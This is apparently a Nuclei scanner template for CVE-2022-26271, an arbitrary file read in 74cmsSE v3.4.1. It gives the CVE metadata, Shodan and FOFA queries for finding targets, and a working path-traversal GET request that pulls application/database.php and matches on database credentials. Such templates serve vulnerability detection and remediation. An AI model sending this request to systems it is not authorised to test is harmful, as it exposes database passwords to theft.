id: CVE-2022-26271

info:
  name: 74cmsSE v3.4.1 - Arbitrary File Read
  author: ritikchaddha
  severity: high
  description: |
    74cmsSE v3.4.1 was discovered to contain an arbitrary file read vulnerability via the $url parameter at \index\controller\Download.php.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1
    - https://nvd.nist.gov/vuln/detail/cve-2022-26271
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-26271
    cwe-id: CWE-552
    epss-score: 0.12712
    epss-percentile: 0.94088
    cpe: cpe:2.3:a:74cms:74cms:3.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query: app="74cms"
  tags: cve,cve2022,74cms,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index/download/index?name=index.php&url=../../application/database.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "return array"
          - "password"
          - "database"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/octet-stream"
# digest: 4a0a00473045022100d2d7ab8f06b986faa4985fed7e808eb2c85cfa4908522ea1df4eb391e7480b2a02201d48c7d3c916fed312c1e76d0cda310bc601c7a375956c193a2f26483e732c63:922c64590222798bb761d5b6d8e72950